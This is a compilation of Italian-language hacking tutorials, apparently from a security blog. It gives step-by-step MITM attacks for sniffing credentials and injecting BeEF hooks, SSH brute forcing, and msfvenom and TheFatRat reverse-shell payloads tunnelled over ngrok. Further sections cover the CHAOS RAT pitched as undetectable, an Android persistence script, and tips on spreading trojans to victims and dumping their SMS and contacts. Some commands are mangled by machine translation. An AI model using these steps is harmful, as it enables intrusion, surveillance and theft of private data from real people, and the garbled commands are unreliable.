pythem> sniff core

Man-in-the-middle DHCP spoofing – DHCP ACK Injection

pythem> dhcpspoof start
[+] Indirizzo IP server DHCP: 192.168.1.1
[+] Indirizzo broadcast: 192.168.1.255
[+] Subnet mask: 255.255.255.0
[+] Indirizzo IP router: 192.168.1.1
[+] Dominio: home
[ +] Indirizzo IP del server DNS: 192.168.1.4 (
falso )
[+] Spoofing DHCP inizializzato.
pythem> sniff core

Bypass HSTS man-in-the-middle: elimina SSL

pythem> imposta interfaccia eth0
pythem> imposta gateway 192.168.179.2
pythem> imposta target 192.168.179.142
pythem> hstsbypass
pythem> sniff core

Non appena nella macchina di destinazione quando qualcuno accede a gmail.com o qualsiasi altro sito basato su https, annuserà le credenziali di accesso in testo non crittografato come mostrato di seguito:

Man-in-the-middle inietta il gancio BeEF

Avvia il framework BeEF xss e ottieni l'URL dello script hook

pythem> set interface eth0
pythem> set target 192.168.179.142
pythem> set gateway 192.168.179.2
pythem> arpspoof start
[*] Iptables ridefinito
[*] Impostazione dell'inoltro dei pacchetti.
[+] ARP spoofing inizializzato.
pythem> redirect start
[+] Immettere la sorgente dello script: http://192.168.179.145:3000/hook.js
[+] Reindirizzamento con script injection inizializzato.
[+] Injection URL – http://192.168.179.145:80
[+] Target stava richiedendo: waccounts.google.com
[+] Script Injected on: ('192.168.179.1', 27813)

Attacco di forza bruta SSH

pythem> service ssh start
pythem> set target
[+] Inserisci il/i target: 127.0.0.1
pythem> set file wordlist.txt
pythem> brute ssh
[+] Inserisci il nome utente per bruteforce: root

SSLKILL – Forced Man in the Middle Attack – Sniff HTTPS/HTTP

   

SSL Kill è un proxy trasparente man-in-the-middle forzato che modifica le richieste e le risposte HTTP al fine di evitare SSL e HSTS, per ottenere ciò utilizza uno spoofing ARP bidirezionale più un resolver DNS forzato che reindirizza tutti i server dei nomi query all'indirizzo IP dell'attaccante.

Questo strumento è riservato ai ricercatori sulla sicurezza delle informazioni e non deve essere utilizzato per atti criminali.

L'ultima versione di SSL Kill è v1.2

Installazione e utilizzo di SSL KILL –

Puoi facilmente scaricare il pacchetto sslkill dal repository Github ma prima di installare sslkill, dobbiamo installare alcune dipendenze che sono build-essential, python-dev e libnetfilter-queue-dev

Per installare queste dipendenze, basta digitare

Comando: apt-get install build-essential python-dev libnetfilter-queue-dev

Ora dobbiamo installare il pacchetto sslkill, che possiamo facilmente scaricare da Github tramite il comando git clone.

Comando: git clone https://github.com/m4n3dw0lf/sslkill

Ora installa tutte le ulteriori dipendenze che puoi facilmente trovare nel file requirements.txt e per installare queste dipendenze digita semplicemente " pip install -r requirements.txt " nel tuo terminale.

Modificare le autorizzazioni del file sslkill.py con l'aiuto del comando chmod e quindi eseguire " ./sslkill.py " nello stesso terminale.

Comando: chmod +x sslkill.py

Ora esegui " ./sslkill.py -i eth0 -t <IP target> -g <IP gateway> "

Qui puoi vedere, -i sta per eth0, -t sta per Target host e -g sta per gateway address che puoi facilmente trovare digitando il comando " route -n ".

Ora, quando il tuo bersaglio/vittima apre qualsiasi sito Web basato su HTTPS, tutte le richieste verranno automaticamente contraffatte e sniffate come mostrato di seguito:

Installa e configura il server OpenSSH in Kali Linux  

   

SSH è un acronimo che sta per Secure Shell , che fornisce un accesso shell sicuro a una macchina remota. Ciò consente alle persone di connettersi a un computer locale e remoto e viene facilmente installato in Linux/UNIX e può essere installato anche su computer Windows.

SSH si riferisce anche alla suite di utilità che implementano il protocollo o protocollo di rete crittografico. Possiamo installare SSH su qualsiasi macchina Unix/Linux con l'aiuto del server OpenSSH.

Senza dubbio, SSH fornisce sempre un'autenticazione forte e crittografa tutti i dati tra due sistemi, ma ci sono molti metodi attraverso i quali possiamo facilmente decifrare la password SSH di cui parleremo nel prossimo articolo.

Il primo passo è installare il server OpenSSH nella tua macchina Kali Linux digitando il seguente comando.

Comando: apt-get install openssh-server

Ora per controllare lo stato del servizio SSH, puoi verificarlo digitando " service ssh status " nel tuo terminale.

E per avviare il servizio ssh nella tua macchina Kali Linux, digita " service ssh start ".

Ora il prossimo passo è configurare SSH per l'esecuzione persistente e per questo dobbiamo rimuovere i livelli di esecuzione per SSH digitando i seguenti comandi:

Comando: update-rc.d -f ssh remove
Comando: update-rc.d -f ssh defaults

Il prossimo passo è fare il backup delle chiavi SSH originali, puoi saltare questo passaggio ma è importante se stai riconfigurando il tuo pacchetto OpenSSH.

Per eseguire il backup delle chiavi SSH, basta creare una directory all'interno di /etc/ssh e digitare il comando seguente.

Comando: mv ssh_host_* backup/

Ora per creare nuove chiavi, basta digitare " dpkg-reconfigure openssh-server ".

Per impostazione predefinita, l'accesso root per Kali Linux in ssh è disabilitato e per abilitare l'accesso root, basta aprire /etc/ssh/sshd_config con qualsiasi editor che ti piace e modificare il file come da screenshot qui sotto.

Impostando il valore PermitRootLogin su yes, verrà abilitato l'accesso root per il server SSH. Ma per motivi di sicurezza, prova sempre ad aggiungere un utente non privilegiato in ssh.

Dopo aver configurato tutti i passaggi precedenti, è sufficiente riavviare il servizio di SSH digitando "sudo service ssh restart" e mettere anche il servizio ssh all'avvio per ogni riavvio digitando " update -rc.d -f ssh enable 2 3 4 5 ".

Puoi anche cambiare il banner MOTD (Message of the Day) modificando il file /etc/motd e per creare tali arti ASCII, puoi utilizzare il sito Web http://patorjk.com/software/taag/ e non dimenticare di riavviare il servizio alla fine dopo aver cambiato il banner.

Quindi, quando qualcuno tenta di accedere al server SSH con qualsiasi client ssh come Putty o SecureCRT , il banner MOTD verrà visualizzato all'inizio dopo l'autenticazione riuscita.

Per assicurarti che secure shell si avvii dopo il riavvio usa il comando systemctl per abilitarlo:

Comando: systemctl abilita ssh

Bruteforce SSH usando Hydra, Ncrack e Medusa – Kali Linux  

   

Nell'articolo precedente, abbiamo scoperto come installare e configurare OpenSSH Server in Kali Linux . Ora oggi vedremo come decifrare la password di SSH da remoto. Generalmente SSH utilizza l'algoritmo di crittografia RSA che crea un tunnel indistruttibile tra il computer client e il computer remoto e, come tutti sappiamo, nulla è indistruttibile.

Gli attacchi di forza bruta funzionano testando ogni possibile combinazione che potrebbe essere utilizzata come password dall'utente e quindi testandola per vedere se è la password corretta. Per vedere se la password è corretta o meno controlla eventuali errori nella risposta dal server.

Gli strumenti che useremo per forzare brute SSH sono:

  1. IDRA
  2. NCRACK
  3. MEDUSA

Ora per forzare qualsiasi cosa, hai davvero bisogno di un buon elenco di dizionari che puoi facilmente trovare attraverso il database di sicurezza di Packet Storm .

1) Forza bruta usando Hydra –

Per installare hydra sulla tua macchina Kali Linux, digita il comando seguente:

Comando: apt-get install hydra hydra-gtk

Lo strumento Hydra è totalmente basato su Debian Linux e per eseguire hydra nella tua macchina locale, digita

Comando: hydra -l root -P '<File dizionario>' <IP remoto> SSH

2) Bruteforce usando Ncrack –

Ncrack è un po' più difficile di Hydra ma è più potente tra tutti gli altri strumenti. Per scaricare Ncrack, il comando è:

Comando: wget https://nmap.org/ncrack/dist/ncrack-0.5.tar.gz

Ora estrai il pacchetto Ncrack con l'aiuto del comando Tar:

Comando: tar -xvzf ncrack-0.5.tar.gz

Ora dobbiamo configurare e compilare questo ncrack digitando questi comandi " ./configure ", " make " e " make install ".

Per usare Ncrack, digita il comando seguente nel tuo terminale:

Comando: ncrack -p 22 –user root -P '<File dizionario>' <IP remoto>

3) Bruteforce usando Medusa –

Medusa è un altro popolare strumento di forzatura bruta attraverso il quale puoi facilmente decifrare la password SSH di qualsiasi macchina remota. Per scaricare Medusa nella tua macchina Kali Linux, digita il seguente comando:

Comando: wget http://www.foofus.net/jmk/tools/medusa-2.0.tar.gz

Ora per estrarre il pacchetto medusa scaricato, digita:

Comando: tar -xvzf medusa-2.0.tar.gz

Ora, dopo l'estrazione, il passaggio successivo è configurare lo strumento digitando questi comandi: "./configure", "make" e "make install".

Per eseguire Medusa, digita il seguente comando nel tuo terminale:

Comando: medusa -u root -P '<File dizionario>' -h <IP remoto> -M ssh

Hack Android utilizzando Metasploit senza port forwarding su Internet –  

   

Oggi parleremo dell'attacco post sfruttamento utilizzando il framework metasploit per hackerare qualsiasi dispositivo Android senza alcun port forwarding. Generalmente puoi ottenere facilmente una connessione TCP inversa con Meterpreter in una rete LAN, ma quando fai la stessa cosa su Internet, ad esempio WAN, lo scenario è leggermente diverso.

Con questo metodo, puoi connettere facilmente qualsiasi dispositivo remoto su Internet, sia esso il sistema o il cellulare.

Dichiarazione di non responsabilità: qualsiasi azione e/o attività relativa al materiale contenuto in questo sito Web è di esclusiva responsabilità dell'utente. L'uso improprio delle informazioni in questo sito Web può comportare accuse penali intentate contro le persone in questione. Gli autori non saranno ritenuti responsabili nel caso in cui vengano avviate accuse penali contro persone che abusano delle informazioni contenute in questo sito Web per infrangere la legge.

Generalmente nella rete WAN, hai bisogno di due cose, la prima è un IP/nome host statico e la seconda è il port forwarding ed entrambe sono così difficili in tempo reale perché nella maggior parte dei casi abbiamo un accesso limitato alle porte in una rete .

È stato un anno molto interessante per noi per ottenere connessioni meterpreter inverse su tunnel ssh, modalità paranoica, bypassare gli AV e persino ottenere una connessione VNC inversa tramite il metodo "vnc dll injection" per ottenere una visualizzazione GUI su un server vulnerabile senza accesso a RDP . Per attacchi persistenti, puoi persino utilizzare un VPS dedicato proprio per questo tipo di attività insieme a una VPN per nascondere il tuo IP per impedire il tracciamento.

Ora ecco la situazione attuale!

Quindi, in questo caso, ci è venuta l'idea di configurare un tunnel sicuro utilizzando Ngrok (Secure Tunnels to Localhost) . Consiglierei di utilizzare qualsiasi servizio di posta elettronica usa e getta proprio come 10minutemail o Getnada . A scopo di test, puoi utilizzare il tuo vero indirizzo email.

Quindi il processo è quello di registrare un account gratuito su Ngrok e scaricare il loro pacchetto nella tua macchina Kali Linux ed eseguire il servizio ngrok (http o tcp).

Dopo aver effettuato con successo la registrazione a Ngrok, otterrai un token di autenticazione come mostrato di seguito.

Ora scarica il pacchetto Ngrok a seconda dell'architettura della CPU che hai. Una volta completato il download, estrai il pacchetto Ngrok utilizzando l'utilità UNZIP come mostrato di seguito:

Comando: unzip ngrok-stable-linux-amd64.zip

Ora devi installare Ngrok authtoken nella tua macchina Kali Linux digitando il seguente comando.

Comando: ./ngrok authtoken <Codice di autenticazione>

Per creare il tuo primo tunnel per http con la porta 4431, il comando è:

Comando: ./ngrok http 4431

Per creare un tunnel su TCP con la porta 4444, il comando è:

Comando: ./ngrok tcp 4444

È possibile utilizzare qualsiasi porta per tcp o http tunneling.

Ngrok fornisce anche un'interfaccia web grafica che puoi aprire digitando " http://localhost:4040/ " nel tuo browser.

In questo tutorial, utilizzeremo Ngrok come TCP con la porta 4444 poiché metasploit utilizza una connessione TCP inversa. Il passaggio successivo consiste nel creare un payload dannoso utilizzando TheFatRat.

Se vuoi installare e configurare TheFatRat, dai un'occhiata a " Genera backdoor FUD al 100% con TheFatRat ".

Per eseguire TheFatRat, digita semplicemente " fatrat " nel tuo terminale.

Ora scegli la prima opzione per " Crea backdoor con msfvenom ".

Ora scegli il carico utile in base alle tue necessità, qui in questo caso, andremo con la terza opzione, ovvero " ANDROID FIRMATO >> FatRat.apk ".

Qui ti chiederà di inserire LHOST e LPORT. Puoi cambiare LHOST IP con il tuo indirizzo del tunnel ngrok e LPORT con il numero di porta del tunnel ngrok ( vedi screenshot n. 6 ). Inserisci qualsiasi nome per il nome di base per il file di output.

Qui in questo passaggio, seleziona l'opzione 3, per utilizzare il payload " android/meterpreter/reverse_tcp " per ottenere la connessione inversa del dispositivo remoto.

Qui ti chiederà di inserire il nome del file per questa configurazione, inserire qualsiasi nome e quindi premere INVIO. Il tuo payload dannoso è ora pronto e viene salvato in /root/TheFatRat/backdoored/<nomefile>.apk

Quindi il tuo payload è ora pronto, puoi utilizzare qualsiasi tecnica di ingegneria sociale per installare sotto il file apk su qualsiasi destinazione remota come Bluetooth, Whatsapp ecc.

Ora il passaggio finale è avviare il framework metasploit digitando " msfconsole " nel terminale.

In questo caso, utilizzeremo un exploit multi handle che puoi eseguire il comando come:

Comando: usa exploit/multi/handler

Ora imposta il payload come " set payload android/meterpreter/reverse_tcp ".

Metti " set LHOST 0.0.0.0 " e " set LPORT 4444 ", assicurati che bport sia lo stesso che hai usato sopra durante l'avvio del servizio ngrok tcp sulla porta 4444.

Ora non appena il dispositivo remoto esegue il tuo file apk nel suo dispositivo Android, otterrai immediatamente una sessione meterpreter inversa.

Digita " sysinfo " per ottenere tutte le informazioni sul bersaglio. Ngrok sta inoltrando la connessione al nostro sistema locale, quindi ovviamente ci mostrerà " 127.0.0.1 " o " 0.0.0.0 ". Quando il gestore riceve il trigger e inizia a inviare lo stage al server, passa attraverso la porta inoltrata del nostro host locale.

Per visualizzare tutti i dati dalla memoria sdcard, il percorso predefinito è /root/sdcard .

Per visualizzare i valori di longitudine e latitudine su WAN, basta digitare " wlan_geolocate ".

Puoi anche scaricare i registri delle chiamate, i registri degli sms, i contatti ecc. Semplicemente digitando il comando pertinente.

dump_calllog per eseguire il dump dei registri delle chiamate dal dispositivo remoto.
dump_contacts per scaricare tutti i contatti dal dispositivo remoto.
dump_sms per eseguire il dump di tutti i messaggi SMS dal dispositivo remoto.

Uno svantaggio con questo metodo, non è possibile ottenere più sessioni meterpreter su una singola porta. per più sessioni, devi ripetere tutti i passaggi da capo con una porta diversa.

Per ulteriori comandi meterpreter, puoi anche dare un'occhiata al nostro tutorial precedente, Sfruttamento di Windows 10 con TheFatRat . Ecco come abbiamo sfruttato Android con metasploit su INTERNET senza alcun port forwarding.

Resta sintonizzato per il prossimo articolo su " Incorporamento del payload metasploit nel file APK originale con APKTOOL ".

Hack Windows 10 da remoto su WAN con Metasploit [Nessun port forwarding]

   

In tutti i nostri precedenti articoli su Metasploit o Kali Linux , eseguiamo sempre attacchi alla LAN. Molti utenti ci chiedevano come utilizzare Metasploit su Internet tramite WAN.

Un modo è eseguire il port forwarding del router. Ma oggi discuteremo un altro metodo attraverso il quale puoi facilmente eseguire Metasploit su WAN senza alcun uso del port forwarding perché il port forwarding è sempre un compito impegnativo per tutti noi.

Processi -

  1. Crea un account su ngrok.com .
  2. Scarica e configura il pacchetto Ngrok nella tua macchina Kali Linux.
  3. Avviare il servizio TCP o HTTP.
  4. Crea un payload con Msfvenom
  5. Avvia il listener con Metasploit Framework
  6. Diffondi il tuo Trojan su internet.

Qui per il primo e il secondo passaggio, puoi consultare il nostro precedente articolo in cui abbiamo violato un dispositivo Android utilizzando il tunnel Ngrok . Stiamo saltando la parte di registrazione e installazione di Ngrok, come già spiegato nell'articolo precedente.

Dopo aver completato l'installazione di Ngrok, avvia il servizio Ngrok TCP sulla porta 4444 digitando il seguente comando:

Comando: ./ngrok tcp 4444

Puoi utilizzare qualsiasi porta, ma in questo caso ti consigliamo di utilizzare la 4444.

Il prossimo passo è creare un payload dannoso con l'aiuto di Msfvenom come segue:

Comando: msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_tcp LHOST=<Il tuo URL Ngrok> LPORT=<La tua porta Ngrok> -b “\x00” -e x86/shikhata_ga_nai -f exe -o /root/Desktop /<nome file>.exe

Qui -p sta per payload,
-e sta per encoder,
-o sta per output
-f sta per fileformat

Msfvenom è una combinazione di Msfpayload e Msfencode , che inserisce entrambi questi strumenti in un'unica istanza Framework. Msfvenom ha sostituito sia msfpayload che msfencode a partire dall'8 giugno 2015.

Di seguito è riportato un elenco delle piattaforme disponibili a cui è possibile accedere utilizzando lo switch –platform.

Per visualizzare l'elenco di tutti i codificatori, digitare " msfvenom -l encoders " nel terminale.

Quando la vittima fa clic sul file gtavicty.exe , il payload meterpreter verrà attivato e cercherà di riconnettersi al tuo sistema (LHOST). Affinché la connessione abbia esito positivo, dovrai aprire il multi-handler in Metasploit per ricevere la connessione.

Avvia il framework metasploit digitando " msfconsole " nel tuo terminale.

L'exploit che useremo è " use exploit/multi/handler "
Il payload è " set payload windows/meterpreter/reverse_tcp "

Qui è necessario impostare LHOST e LPORT.

Comando: set LHOST 0.0.0.0
Comando: set LPORT 4444

Basta digitare " run " nel tuo terminale. Ora puoi utilizzare qualsiasi metodo di ingegneria sociale per diffondere il tuo file eseguibile dannoso su Internet.

Quando la vittima fa clic sul file eseguibile chiamato gtavicty.exe , la sessione meterpreter verrà aperta all'istante.

Quindi qui, ngrok inoltrerà automaticamente tutto il traffico al tuo computer localhost. Digita " sysinfo " per saperne di più sul tuo obiettivo.

Per conoscere l'ID del processo, basta digitare " getpid " nello stesso terminale.

Hack Windows 10 utilizzando CHAOS Framework – 100% FUD

   

CHAOS è un framework basato su Linux attraverso il quale è possibile generare facilmente i payload e controllare macchine remote come Windows XP/Vista/7/8/8.1/10.

In altre lingue, puoi dire, CHAOS Framework è la versione minima di METASPLOIT FRAMEWORK, perché ha funzioni limitate che puoi eseguire con il tuo target ma la cosa migliore di CHAOS Framework è che il payload che genererà è 100% FUD ( Completamente non rilevabile).

Funzionalità di CHAOS Framework –

  1. Puoi controllare qualsiasi macchina Windows da remoto.
  2. Puoi facilmente scaricare/caricare qualsiasi file.
  3. Puoi persino rendere la persistenza della tua sessione inserendo il tuo payload all'avvio di Windows.
  4. Ottieni i dettagli del sistema operativo con un clic.
  5. Puoi persino fare degli scherzi con il tuo obiettivo come aprire qualsiasi URL, fork bomb ecc.

Installazione di CHAOS Framework –

Per installare questo framework, devi prima scaricare due pacchetti che puoi facilmente scaricare dal repository Kali Linux digitando il seguente comando:

Comando: apt install golang upx-ucl -y

Il comando sopra installerà i pacchetti Golang e UPX nella tua macchina Kali Linux.

Ora il prossimo passo è installare CHAOS Framework che è disponibile su Github .

Comando: git clone https://github.com/tiagorlampert/CHAOS.git

Successivamente, entra nella directory CHAOS ed esegui il seguente comando per eseguire CHAOS.

Comando: vai a eseguire CHAOS.go

Ora digita 1 per generare il payload e successivamente chiederà alcune informazioni sul payload come LHOST/LPORT/FILENAME ecc.

Metti il ​​tuo indirizzo IP dell'interfaccia Ethernet sotto LHOST e per LPORT, puoi usare qualsiasi porta, in questo caso abbiamo usato 8080.

Ora nel passaggio successivo, ti chiederà di digitare Y o N per comprimere il tuo payload con UPX, ti consigliamo di digitare n per non comprimere.

Inoltre, ti chiederà di avviare l'ascoltatore, premere Y e inserire lo stesso LPORT che hai usato sopra, ad esempio 8080.

Ora, come puoi vedere, il tuo file è pronto nella stessa directory /root/CHAOS/ in cui hai effettivamente installato CHAOS Framework. Usa qualsiasi metodo di ingegneria sociale per inviare questo file alla tua vittima/bersaglio.

Otterrai lo stato: connesso non appena la tua vittima esegue il file come mostrato di seguito:

Ora digita " getos " per conoscere le informazioni relative al sistema operativo.

Per ulteriori comandi, puoi digitare "help" che elencherà tutti i comandi che puoi utilizzare con CHAOS Framework.

Per visualizzare tutti i file dalla directory corrente, digitare "dir".

Per aprire qualsiasi URL casuale nel tuo computer di destinazione, digita semplicemente " openurl ".

Puoi facilmente scaricare/caricare qualsiasi cosa con i comandi " download " e " upload ".

Inoltre, puoi scansionare il tuo payload su nodistribute.com che risulta 0/36, significa 100% FUD.

Nota: non utilizzare Virustotal.com

Shcheck – Strumento per scansionare le intestazioni di sicurezza di qualsiasi sito web

   

Le intestazioni di sicurezza HTTP forniscono sempre un ulteriore livello di sicurezza contribuendo a mitigare gli attacchi e le vulnerabilità della sicurezza.

Negli ultimi anni sono state introdotte numerose nuove intestazioni HTTP il cui scopo è contribuire a migliorare la sicurezza di un sito web.

Comando Intestazioni di sicurezza HTTP –

1. Content-security-policy
2. X-xss-protection
3. Strict-transport-security
4. X-frame-options
5. Public-key-pins
6. X-content-type

Installazione di Shcheck –

Puoi facilmente installare lo script shcheck che è uno script basato su Python direttamente da Github .

Comando: git clone https://github.com/m3liot/shcheck.git

Dai i permessi completi allo script shcheck.py con l'aiuto di " chmod +x shcheck.py ".

Per eseguire questo script, digita semplicemente " ./shcheck.py <Il tuo obiettivo> "

Puoi anche analizzare o scansionare tutte le intestazioni online da HTTP HEADER CHECK .

Ecco l'elenco di altri siti/strumenti attraverso i quali è anche possibile scansionare le intestazioni di sicurezza di qualsiasi sito web.

  1. Strumenti di sviluppo di Chrome
  2. Securityheaders.io (il nostro sito web preferito)

Questa sezione copre un elenco di strumenti per analizzare, sviluppare e amministrare intestazioni sicure HTTP al fine di contribuire a ottenere sistemi Web più sicuri e affidabili.

Strumenti di analisi

Riferimento

hsecscan

Uno scanner di sicurezza per le intestazioni di risposta HTTP.

intestazioni

Script Python per ottenere alcune intestazioni di risposta dal file dei migliori siti di Alexa e memorizzarlo in un database MySQL.

securityheaders.io

Ci sono servizi là fuori che analizzeranno le intestazioni di risposta HTTP di altri siti, ma volevo anche aggiungere un sistema di valutazione ai risultati. Le intestazioni di risposta HTTP che questo sito analizza forniscono enormi livelli di protezione ed è importante che i siti le distribuiscano. Si spera che, fornendo un meccanismo semplice per valutarli e ulteriori informazioni su come distribuire le intestazioni mancanti, possiamo aumentare l'utilizzo delle intestazioni basate sulla sicurezza in tutto il Web.

Osservatorio Mozilla

Un progetto Mozilla progettato per aiutare sviluppatori, amministratori di sistema e professionisti della sicurezza a configurare i propri siti in modo sicuro e protetto.

Scanner di sicurezza Web Bridge ad alta tecnologia

Un servizio online che recupererà e analizzerà la sintassi delle intestazioni e la corretta configurazione in modo completo. Potrà ad esempio evidenziare Public-Key-Pins che corrispondono a un certificato della catena o se Content-Security-Policy contiene valori che potrebbero essere non sicuri o troppo permissivi.

Controlla le tue intestazioni

Solo un altro scanner web per le intestazioni di risposta HTTP.

Analizzatore di sicurezza Recx

Estensione di Chrome che consente l'ispezione degli aspetti di sicurezza delle intestazioni HTTP, dei cookie e di altre impostazioni di sicurezza chiave di un sito.

Calcio d'inizio

Sebbene ogni progetto che avvii possa avere un set di funzionalità diverso, spesso condividono molti degli stessi requisiti di prestazioni, SEO e sicurezza. Questo strumento ha lo scopo di automatizzare il processo di controllo dell'elenco dei requisiti poco prima del lancio o subito dopo una distribuzione.

Librerie di sviluppo

Lingua

Riferimento

secureheaders

Intestazioni relative alla sicurezza tutto in un unico gioiello.

  • Rubino

Modulo di iniezione dell'intestazione di sicurezza (SHIM)

SHIM è un modulo HTTP che fornisce protezione per molte vulnerabilità inserendo intestazioni HTTP specifiche per la sicurezza nelle applicazioni Web ASP.NET.

  • ASP.NET

Sicurezza primaverile

Il supporto di Spring Security per l'aggiunta di varie intestazioni di sicurezza alla risposta.

  • Giava

rack-secure_headers

Intestazioni HTTP relative alla sicurezza per le applicazioni Rack.

  • Cremagliera

casco e cappuccio

Node.js (espresso).

  • Node.js (espresso)

coperta

Un plugin CSP per hapi.

  • Node.js (hapi)

NWebsec

NWebsec è costituito da diverse librerie di sicurezza per le applicazioni ASP.NET.

  • ASP.NET

django-csp + software comune; django-security

django-csp + software comune; django-security.

  • Pitone

secureheader

Il pacchetto secureheader aggiunge alcuni campi di intestazione HTTP ampiamente considerati per migliorare la sicurezza delle richieste HTTP.

  • Andare

secure_headers

Questo Plug applicherà automaticamente diverse intestazioni di sicurezza alla risposta Plug.Conn. In base alla progettazione, SecureHeaders tenterà di applicare la politica di sicurezza più rigorosa. Tuttavia, le intestazioni di sicurezza sono configurabili e vengono convalidate per evitare errori di configurazione.

  • Elisir

dropwizard-web-security

Un pacchetto per l'applicazione della funzionalità di sicurezza Web predefinita a un'applicazione dropwizard.

  • Dropwizard

ember-cli-content-security-policy

Questo componente aggiuntivo semplifica l'utilizzo di Content Security Policy (CSP) nel tuo progetto. Può essere distribuito tramite un'intestazione Content-Security-Policy inviata dal server Ember CLI Express o come meta tag nel file index.html.

  • Ember.js

Strumenti operativi

Server Web supportati

Riferimento

http_hardening

Modulo Puppet per abilitare, configurare e gestire intestazioni http sicure sui server web.

  • Server Apache HTTP
  • NGINX
  • Leggero

Scanner di sicurezza WordPress – WPSeku  

   

WordPress è uno dei CMS open source più popolari al giorno d'oggi con oltre 60 milioni di utenti. Recentemente hanno rilasciato una nuova versione di wordpress ie v4.8 nell'evento WordCamp Europe   . Puoi facilmente creare bellissimi siti Web con l'aiuto di WordPress.

La sicurezza di WordPress è un argomento di enorme importanza per ogni proprietario di un sito web. Ogni settimana, Google inserisce nella blacklist da 10.000 a 15.000 siti Web per malware e circa 70.000 per phishing. Se prendi sul serio il tuo sito web, devi prestare attenzione alla sicurezza di WordPress. In questo articolo, condivideremo un bellissimo scanner di sicurezza per wordpress chiamato WPSeku attraverso il quale puoi facilmente scansionare il tuo sito WordPress e trovare tutte le scappatoie relative a:

Fondamentalmente WPSeku è uno scanner di vulnerabilità di WordPress a scatola nera che può essere utilizzato per scansionare installazioni WordPress remote per trovare problemi di sicurezza.

Installazione di WPSeku in Kali Linux –

Per installare WPSeku, scarica il pacchetto direttamente da Github con l'aiuto del comando git clone come mostrato di seguito:

Comando: git clone https://github.com/m4ll0k/WPSeku.git

Successivamente è necessario installare un altro pacchetto elencato nel file requirements.txt e installarlo facilmente tramite il comando pip install.

Comando: pip install -r requisiti.txt

Per eseguire questo strumento, digita semplicemente python wpseku.py nel tuo terminale che mostra un file di aiuto di base.

La sintassi di base di questo strumento è:

Comando: python wpseku.py –target http://example.com/

Nella fase iniziale, eseguirà la scansione dei file che sono sitemap.xml, license.txt, robots.txt, crossdomain.xml, readme.html, .htaccess e xml-rpc service.

Nella seconda fase, eseguirà la scansione di tutti i database e dei file correlati al backup insieme alla scansione dell'elenco delle directory.

Nella terza fase, eseguirà la scansione delle intestazioni HTTP insieme all'enumerazione di temi e plug-in ed elencherà tutte le vulnerabilità insieme al collegamento all'exploit come mostrato di seguito:

La cosa migliore di questo strumento è che puoi persino scansionare le principali vulnerabilità come SQL Injection, Cross site scripting, LFI injection e bruteforce ecc.

Per i test SQL Injection, utilizzare il parametro -s,
Per i test XSS, utilizzare il parametro -x,
Per i test LFI, utilizzare il parametro -l ecc.

Backdoor persistente in Android utilizzando Kali Linux con uno script Shell

   

Ciao ragazzi, oggi vi mostreremo come creare una backdoor persistente in Android usando Kali Linux dopo aver hackerato con msfvenom .

In precedenza abbiamo discusso di due metodi attraverso i quali è possibile hackerare qualsiasi dispositivo Android:

  1. Hack Android utilizzando Msfvenom in LAN/WAN
  2. Hack Android utilizzando Metasploit senza port forwarding su WAN utilizzando Ngrok

Puoi utilizzare uno qualsiasi dei metodi sopra per hackerare il dispositivo Android ma una volta ottenuta la sessione meterpreter, quella sessione non è persistente, per renderla persistente, devi caricare uno script di shell in qualsiasi posizione della directory /sdcard.

Generalmente, il dispositivo della tua vittima non è rootato, quindi non puoi creare alcun file nella directory /etc/init.d a causa di meno autorizzazioni, quindi stiamo usando un altro metodo per caricare una backdoor nella directory /sdcard usando il comando shell e quindi lo faremo esegui lo script che crea automaticamente una backdoor persistente in quel dispositivo Android.

Ecco i passaggi che devi seguire:

La prima parte richiesta è ottenere la sessione meterpreter usando uno qualsiasi dei metodi, ci sono molti metodi per creare un file .apk backdoor come usare TheFatRat, msfvenom e spade ecc. Puoi usare qualsiasi metodo e ottenere la sessione meterpreter.

Non appena ottieni la sessione meterpreter, devi creare un file ( .sh ) e incollarvi il seguente codice:

#!/bin/bash
while true
do am start –user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 20
done

E salvalo come anyname.sh

ecco la versione aggiornata dello script di shell sopra che è compatibile al 100% con tutte le versioni di Android:

#!/bin/bash
while :
do am start –user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 20
done

Successivamente è necessario accedere alla directory principale del dispositivo Android digitando " cd / " nel terminale.

Ora devi entrare nella posizione /sdcard digitando " cd /sdcard " nello stesso terminale.

Qui puoi caricare il tuo script backdoor digitando " upload       -backdoor.sh " nello stesso terminale.

Ora tutto ciò che dobbiamo fare è eseguire lo script una volta, e poi tutto sarà fatto automaticamente, digitare " shell " per entrare nella modalità shell del sistema del dispositivo Android.

Qui devi andare di nuovo nella stessa posizione, ad esempio cd /root/sdcard ed eseguire la backdoor usando " sh       -backdoor.sh ".

Nello screenshot sopra, come puoi vedere, il tuo script è stato eseguito correttamente, puoi terminare l'esecuzione premendo CTRL + C e quindi digitando Y.

Puoi testarlo uscendo da meterpreter e impostando nuovamente un Listener. Dovresti ricevere automaticamente un prompt meterpreter come mostrato nella schermata sopra.

Il persistente della backdoor rimarrà solo fino al riavvio del sistema Android. Se la tua vittima si trova nella stessa rete, ad esempio LAN, la persistenza rimarrà per sempre sulla LAN e se hai un IP statico, anche la tua persistenza rimarrà per sempre anche sulla WAN.

Crack WPA/WPA2-PSK utilizzando Aircrack-ng e Hashcat –  

   

Questo è un breve tutorial che illustra come violare le reti Wi-Fi protette utilizzando password deboli. Non è esaustivo, ma dovrebbe essere un'informazione sufficiente per testare la sicurezza della propria rete o entrare in una vicina.

L'attacco descritto di seguito è interamente passivo ed è impossibile da rilevare a condizione che non si utilizzi effettivamente la password che si cracca. È possibile utilizzare un attacco di deautenticazione attiva opzionale per accelerare il processo di ricognizione e ottenere il valore dell'handshake.

DISCLAIMER: Questo metodo è solo a scopo didattico. Non dovrebbe essere utilizzato per attività illegali. L'autore non è responsabile del suo utilizzo.

Requisiti:

  1. Una macchina Kali Linux (preferibilmente  )
  2. Un adattatore Wi-Fi USB che supporta la modalità monitor.
  3. Installa l'utility aircrack-ng .

Se aircrack-ng non è installato sulla tua macchina Linux, puoi installarlo facilmente tramite il comando seguente:

sudo apt-get install aircrack-ng

Ora il primo passo è riconoscere il tuo adattatore wireless digitando " iwconfig " nel tuo terminale.

Qui puoi vedere, wlan0 è la tua interfaccia wireless e dice che supporta 802.11, ESSID è disattivato e la modalità è gestita ecc.

Ora il secondo passo è usare Aircrack-ng che converte la tua scheda wireless in modalità monitor promiscua, significa che può vedere e ricevere tutto il traffico di rete.

Qui ng significa New Generation, perché aircrack-ng sostituisce la vecchia suite chiamata aircrack che non è più supportata.

